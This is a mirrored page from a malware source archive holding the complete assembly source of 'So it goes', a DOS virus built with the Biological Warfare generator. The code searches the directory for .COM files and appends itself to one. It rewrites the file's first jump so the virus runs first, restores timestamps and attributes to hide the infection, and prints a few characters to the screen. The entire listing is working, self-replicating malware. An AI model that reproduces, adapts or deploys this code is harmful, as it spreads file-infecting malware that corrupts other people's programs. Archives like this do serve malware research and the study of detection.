mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
191 lines
5.3 KiB
NASM
191 lines
5.3 KiB
NASM
; soitgoes.asm : [So it goes.]
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; Created with Biological Warfare - Version 0.90á by MnemoniX
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PING equ 0AC3Ch
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INFECT equ 1
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code segment
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org 100h
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assume cs:code,ds:code
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start:
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db 0E9h,3,0 ; to virus
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host:
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db 0CDh,20h,0 ; host program
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virus_begin:
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push ds es
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call $ + 3 ; BP is instruction ptr.
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pop bp
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sub bp,offset $ - 1
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lea dx,[bp + offset new_DTA]
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mov ah,1Ah
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int 21h
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mov byte ptr [bp + infections],0
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call infect_dir
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call activate
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pop es ds
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mov dx,80h
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mov ah,1Ah
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int 21h
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com_exit:
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lea si,[bp + host] ; restore host program
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mov di,100h
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push di
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movsw
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movsb
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call fix_regs ; fix up registers
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ret ; and leave
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fix_regs:
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xor ax,ax
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cwd
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xor bx,bx
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mov si,100h
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xor di,di
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xor bp,bp
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ret
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infect_dir:
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mov ah,4Eh
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lea dx,[bp + find_me]
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int 21h
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jc infect_done
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next_file:
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lea dx,[bp + new_DTA + 1Eh]
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call execute
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cmp byte ptr [bp + infections],INFECT
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je infect_done
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mov ah,4Fh
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int 21h
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jnc next_file
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infect_done:
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ret
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execute:
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push si
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mov ax,4300h ; change attributes
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int 21h
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push cx dx ds
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xor cx,cx
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call set_attributes
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mov ax,3D02h ; open file
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int 21h
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jc cant_open
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xchg bx,ax
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mov ax,5700h ; save file date/time
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int 21h
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push cx dx
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mov ah,3Fh
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mov cx,28
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lea dx,[bp + read_buffer]
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int 21h
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cmp word ptr [bp + read_buffer],'ZM'
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je dont_infect ; .EXE, skip
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mov al,2 ; move to end of file
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call move_file_ptr
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sub dx,VIRUS_SIZE + 3 ; check for previous infection
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cmp dx,word ptr [bp + read_buffer + 1]
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je dont_infect
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add dx,VIRUS_SIZE + 3
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mov word ptr [bp + new_jump + 1],dx
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lea dx,[bp + read_buffer] ; save original program head
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int 21h
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mov ah,40h ; write virus to file
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mov cx,VIRUS_SIZE
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lea dx,[bp + virus_begin]
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int 21h
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xor al,al ; back to beginning of file
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call move_file_ptr
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lea dx,[bp + new_jump]
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int 21h
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fix_date_time:
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pop dx cx
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mov ax,5701h ; restore file date/time
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int 21h
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inc byte ptr [bp + infections]
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close:
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pop ds dx cx ; restore attributes
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call set_attributes
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mov ah,3Eh ; close file
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int 21h
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cant_open:
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pop si
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ret
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set_attributes:
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mov ax,4301h
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int 21h
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ret
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dont_infect:
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pop cx dx ; can't infect, skip
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jmp close
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move_file_ptr:
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mov ah,42h ; move file pointer
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cwd
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xor cx,cx
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int 21h
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mov dx,ax ; set up registers
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mov ah,40h
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mov cx,3
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ret
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activate: ; Insert your routine here
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MOV CX,03h
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MOV AH,09h
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MOV BH,00h
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MOV CX,03h
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MOV AL,00h
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MOV BL,23
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INT 10h
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ret
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signature db '[So it goes.]',0
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find_me db '*.COM',0
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new_jump db 0E9h,0,0
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infections db 0
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virus_end:
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VIRUS_SIZE equ virus_end - virus_begin
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read_buffer db 28 dup (?) ; read buffer
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new_DTA db 128 dup(?)
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end_heap:
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MEM_SIZE equ end_heap - start
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code ends
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end start
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